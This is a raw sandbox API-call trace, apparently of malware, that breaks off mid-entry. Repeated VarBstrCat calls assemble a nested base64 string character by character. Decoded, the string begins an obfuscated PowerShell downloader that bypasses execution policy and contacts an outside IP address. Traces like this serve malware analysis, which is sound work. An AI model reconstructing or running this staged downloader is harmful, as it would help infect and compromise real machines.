bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjR", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRU", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3B", bstrRight="K", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BK", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZ", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZG", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGx", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJ", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJe", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9Y", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YW", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWm", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmF", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFN", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNb", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.747] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbm", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmh", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhz", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzV", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzVm", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzVmx", bstrRight="o", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzVmxo", bstrRight="Q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzVmxoQ", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzVmxoQ2", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzVmxoQ2E", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.748] VarBstrCat (in: bstrLeft="ZG1GeUlHTTlKMk5IT1ROYVdFcDZZVWRXYzJKRFFYUmliVGwzU1VNeGJHVkhWbXBKUjBvMVkwZEdlbU41UVhSWmVVRnBTa2hKT1ZjeFRqVmpNMUpzWWxNMVQxcFlVWFZXTWxacFZXMVdlR1JYVm5wa1JqQTJUMnRPZVZwWFJqQmFVMmR1WVVoU01HTkViM1pNZWtVeFRrTTBlRTVwTkhwT2VUUjRUV3BKZGxJeU9YWmFNbmhzVmxoQ2Ex", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.749] SafeArrayDestroyData (psa=0x697b160) returned 0x0 [0053.749] SafeArrayDestroyData (psa=0x663f2e0) returned 0x0 [0053.749] SafeArrayDestroyDescriptor (psa=0x663f2e0) returned 0x0 [0053.749] SafeArrayDestroyData (psa=0x663f2e0) returned 0x0 [0053.749] SafeArrayDestroyDescriptor (psa=0x663f2e0) returned 0x0 [0053.749] VarAdd (in: pvarLeft=0x697b1a8, pvarRight=0x697b268, pvarResult=0x697b190 | out: pvarResult=0x697b190) returned 0x0 [0053.749] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x697b2a8 | out: ppsaOut=0x697b2a8) returned 0x0 [0053.749] SafeArrayAllocData (psa=0x663f2e0) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.749] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.750] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.751] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, 